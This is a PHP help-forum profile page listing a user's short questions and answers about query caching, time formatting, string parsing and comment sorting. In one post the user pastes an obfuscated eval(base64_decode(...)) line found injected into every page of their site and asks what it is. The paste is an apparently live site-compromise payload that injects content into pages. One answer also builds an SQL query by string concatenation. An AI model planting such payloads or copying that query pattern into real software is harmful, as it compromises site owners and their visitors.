Jump to content

phpfan101

Members
  • Posts

    50
  • Joined

  • Last visited

    Never

Everything posted by phpfan101

  1. Ahhh, didn't even think of storing the output itself in the db, then it only runs one. cheers!
  2. What I have, is a php page that runs over 60 query's a visit, and has over 2000 visits a day. That thousands of query's, and I'm sure this can be simplified easily to lessen the load. I only need to update the data on the page every 12 hours. So, what I'm thinking, is that it would be best to run the query based on time()(every 12 hours), and store that data in a .txt file. Then, the php file, instead of requesting the query over and over, it just extracts the data from the text file. Does this help me at all, or is it useless? is there a better method? Thanks!
  3. (!$retweetNick == '') { echo $retweetNick; } ?> The above conditional isn't ended. Try: (!$retweetNick == '') { echo $retweetNick; } ?>
  4. I understand how to do it, I want to know what the best method for my situation would be.
  5. I created a "statistics of site" page, stats.php. Currently stats.php updates every visit, that's over 25 queries for every visit, with over 9,000 visits a day, I wish to cut down. What is the best way to make it so all queries are done every hour, therefore requiring less queries to the database? I assume the best way to go at this would be either to run a time() based script every 60 minutes and: - update this to a new field, then stats.php will require 1 query every visit, plus the 1 every hour. or - update a text file and read that each stats.php visit, meaning just the 1 query every hour. Now, I understand the second option will run much less queries overall, but is it the best way to go? Is there a better way to go about doing this?
  6. So, on my website, i have added a "last active" feature, so if someone is surfing the site, they can view when another users last page visit was. so, every second, +1 is added to the $ts variable what i have now, working and all, shows ONLY "NOW!", or ONLY "1 second", ONLY "___ seconds ago"... and so on I have tred over, and over, and over to fix this to my liking, with more instances available, as an example, my current script will show somebody who is 13 months and 26 days inactive, just as "1 year", i want to see the "1 year, 1 month, and 26 days inactive"... or even simpler, just so it displays days/minutes/seconds/NOW! function howlongtil($ts) { $ts=$ts - time(); if ($ts<1) // <1 second return " NOW"; elseif ($ts==1) // <1 second return $ts." second"; elseif ($ts<60) // <1 minute return $ts." seconds"; elseif ($ts<120) // 1 minute return "1 minute"; elseif ($ts<60*60) // <1 hour return floor($ts/60)." minutes"; elseif ($ts<60*60*2) // <2 hour return "1 hour"; elseif ($ts<60*60*24) // <24 hours = 1 day return floor($ts/(60*60))." hours"; elseif ($ts<60*60*24*2) // <2 days return "1 day"; elseif ($ts<(60*60*24*7)) // <7 days = 1 week return floor($ts/(60*60*24))." days"; elseif ($ts<60*60*24*30.5) // <30.5 days ~ 1 month return floor($ts/(60*60*24*7))." weeks"; elseif ($ts<60*60*24*365) // <365 days = 1 year return floor($ts/(60*60*24*30.5))." months"; else // more than 1 year return floor($ts/(60*60*24*365))." years"; }; anyone know how?
  7. This should give you what you want <?php $your_cash = "players_cash_value"; $others_cash = "dbtablnameforcash"; $rankresult = mysql_query("SELECT * FROM `players` WHERE `".$others_cash."` > ".$your_cash.""); $rankresult2 = mysql_num_rows($rankresult); $your_cash = $rankresult2 + 1; echo "Your ranked number ".$your_cash."!"; ?>
  8. phpfan101

    Time

    everyday, instead of a login page on my index.php, i want to show a completely white, with minimal writing. The thing is, i only want this white screen between 12am and 12:05am EST, the rest is all the login page. So, my problem, how do i set it up so if someone visits between the two times, it shows the white page, any other time, normal page?
  9. Haha, wow, its that simple? Thanks oni-kun!
  10. I have the following string: "p324u13820" (page 324/user id 13820) The string is in the database, as a mean of tracking what post, came from what user and what page. I want to show a line like this in my logfile: "User id 13820 posted "link" from page page" I have tried a few methods, but I'm in-successful in each attempt, I cant seem to be able to break up the string and set the numbers following "p" in a $page var. to be posted, nor the "u" numbers to a $user var. Anyone?
  11. I'm positive it hasn't been further modified(the page i found it on) i did notice some "core.33134" files appeared, i think there encoded though about 10 files actually, all "core.(some number)"
  12. done... pages where i deleted the base decode... still not working tho
  13. yea, thats my hosting name, and no, i didnt create it
  14. .htaccess AuthName "test" AuthUserFile "/home/socrime/.htpasswds/public_html/2/passwd" thats all of it... should i delete it?
  15. but, when there gone, my content isnt showing??? how do i fix that? and i have never heard of dragogon fly, no
  16. lol, all 983? I see a fun night coming up!
  17. but how is it affecting me? ... and how did it get there?
  18. <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ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dfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?> Can any help me find out what this means???? its appearing on all of my pages, i have no clue what it is
  19. lol, ty, that helped so much solved(and sorry about wrong section)
  20. i have them displayed in an array... how do i reverse sort??
  21. I am trying to make a commenting system... all is working well but one thing, when a new comment is made, it is automatically at the top of all comments, i want it to read like a forum, oldest first, newest comment last... i !DO! use a unix timestamp to store the time the post is made in my mysql db, i just dont know how to efficiently use it to get my desired outcome, anyone?
  22. Just a small questions... why are you even storing the info? (trying to atleast)
  23. i would go with mysql in any case
  24. depends on what you mean by store?
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.